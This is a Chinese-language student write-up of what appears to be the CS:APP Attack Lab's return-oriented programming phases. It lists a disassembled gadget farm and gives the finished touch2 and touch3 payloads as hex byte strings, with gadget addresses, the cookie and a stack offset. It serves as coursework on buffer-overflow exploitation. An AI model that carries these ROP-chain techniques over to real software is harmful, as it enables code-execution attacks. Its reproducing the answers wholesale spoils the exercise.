0000000000401d82 <addval_394>:
  401d82:	8d 87 09 ca 38 db    	lea    -0x24c735f7(%rdi),%eax
  401d88:	c3                   	ret

0000000000401d89 <addval_249>:
  401d89:	8d 87 48 89 e0 91    	lea    -0x6e1f76b8(%rdi),%eax
  401d8f:	c3                   	ret

0000000000401d90 <getval_470>:
  401d90:	b8 33 48 89 e0       	mov    $0xe0894833,%eax
  401d95:	c3                   	ret

0000000000401d96 <getval_391>:
  401d96:	b8 8d d6 08 d2       	mov    $0xd208d68d,%eax
  401d9b:	c3                   	ret

0000000000401d9c <setval_415>:
  401d9c:	c7 07 89 ca 18 c9    	movl   $0xc918ca89,(%rdi)
  401da2:	c3                   	ret

0000000000401da3 <getval_398>:
  401da3:	b8 48 89 e0 94       	mov    $0x94e08948,%eax
  401da8:	c3                   	ret

0000000000401da9 <setval_119>:
  401da9:	c7 07 89 ca 48 db    	movl   $0xdb48ca89,(%rdi)
  401daf:	c3                   	ret

0000000000401db0 <getval_123>:
  401db0:	b8 8d d6 08 c9       	mov    $0xc908d68d,%eax
  401db5:	c3                   	ret

0000000000401db6 <getval_127>:
  401db6:	b8 8b d6 08 c0       	mov    $0xc008d68b,%eax
  401dbb:	c3                   	ret

0000000000401dbc <setval_275>:
  401dbc:	c7 07 92 89 c1 90    	movl   $0x90c18992,(%rdi)
  401dc2:	c3                   	ret

0000000000401dc3 <setval_218>:
  401dc3:	c7 07 41 48 89 e0    	movl   $0xe0894841,(%rdi)
  401dc9:	c3                   	ret

0000000000401dca <getval_183>:
  401dca:	b8 48 89 e0 91       	mov    $0x91e08948,%eax
  401dcf:	c3                   	ret

0000000000401dd0 <getval_241>:
  401dd0:	b8 89 c1 48 db       	mov    $0xdb48c189,%eax
  401dd5:	c3                   	ret

0000000000401dd6 <addval_177>:
  401dd6:	8d 87 89 d6 c4 c0    	lea    -0x3f3b2977(%rdi),%eax
  401ddc:	c3                   	ret

0000000000401ddd <addval_468>:
  401ddd:	8d 87 89 c1 20 d2    	lea    -0x2ddf3e77(%rdi),%eax
  401de3:	c3                   	ret

0000000000401de4 <setval_411>:
  401de4:	c7 07 5b f8 a9 ca    	movl   $0xcaa9f85b,(%rdi)
  401dea:	c3                   	ret

0000000000401deb <getval_451>:
  401deb:	b8 ee 48 c9 e0       	mov    $0xe0c948ee,%eax
  401df0:	c3                   	ret

0000000000401df1 <addval_209>:
  401df1:	8d 87 89 c1 30 db    	lea    -0x24cf3e77(%rdi),%eax
  401df7:	c3                   	ret

0000000000401df8 <setval_399>:
  401df8:	c7 07 89 d6 38 db    	movl   $0xdb38d689,(%rdi)
  401dfe:	c3                   	ret

0000000000401dff <getval_419>:
  401dff:	b8 48 89 e0 c7       	mov    $0xc7e08948,%eax
  401e04:	c3                   	ret

0000000000401e05 <setval_172>:
  401e05:	c7 07 66 89 c1 c1    	movl   $0xc1c18966,(%rdi)
  401e0b:	c3                   	ret

0000000000401e0c <addval_464>:
  401e0c:	8d 87 89 c1 94 90    	lea    -0x6f6b3e77(%rdi),%eax
  401e12:	c3                   	ret

0000000000401e13 <setval_323>:
  401e13:	c7 07 09 c1 20 db    	movl   $0xdb20c109,(%rdi)
  401e19:	c3                   	ret

0000000000401e1a <addval_441>:
  401e1a:	8d 87 89 d6 38 db    	lea    -0x24c72977(%rdi),%eax
  401e20:	c3                   	ret

0000000000401e21 <end_farm>:
  401e21:	b8 01 00 00 00       	mov    $0x1,%eax
  401e26:	c3   

touch2任务中,我们仅被允许使用start_farm到middle_farm之间的内容。

基本思路:把24字节缓冲区用垃圾填充,用garget1地址覆盖原本的返回地址,写入cookie,再写入garget2返回地址,最后写入touch2返回地址。

401d25开始是58 c3,也即pop %rax

401d2a开始是48 89 c7 c3,也即mov %rax, %rdi; ret

构造注入:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
25 1d 40 00 00 00 00 00 //garget1
45 ff 1e 3c 00 00 00 00 //cookie
2a 1d 40 00 00 00 00 00 //garget2
a3 1b 40 00 00 00 00 00 //touch2

注意此处的cookie要用小端序。

touch3

相对复杂。我们需要的garget指令段很多并非在c3之前,但是很多片段满足以下结构:有效指令+一些不改变寄存器的OP指令(如and or cmp)+c3。

以下是找到的指令:

58 c3 pop %rax
48 89 c7 c3 mov %rax, %rdi
48 89 e0 c3 mov %rsp, %rax
20 d2 c3 andb %dl
20 db c3 andb %bl
08 d2 c3 orb %dl
08 c9 c3 orb %cl
08 c0 c3 orb %al
38 d2 c3 cmpb %dl
38 db c3 cmpb %bl
89 c1 movl %eax %ecx
89 ca movl %ecx %edx
89 d6 movl %edx %esi
48 8d 04 37 lea (%rdi,%rsi,1),%rax

以下是代码结构:

mov %rsp %rax
mov %rax %rdi
pop %rax
movl %eax %ecx
movl %ecx %edx
movl %edx %esi
lea (%rdi,%rsi,1), %rax
mov %rax, %rdi

构造注入:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
92 1d 40 00 00 00 00 00 
2a 1d 40 00 00 00 00 00
25 1d 40 00 00 00 00 00
48 00 00 00 00 00 00 00 //偏移量
bf 1d 40 00 00 00 00 00
56 1d 40 00 00 00 00 00
fa 1d 40 00 00 00 00 00
49 1d 40 00 00 00 00 00
2a 1d 40 00 00 00 00 00 
7a 1c 40 00 00 00 00 00 //touch3
33 63 31 65 66 66 34 35 00 //字符串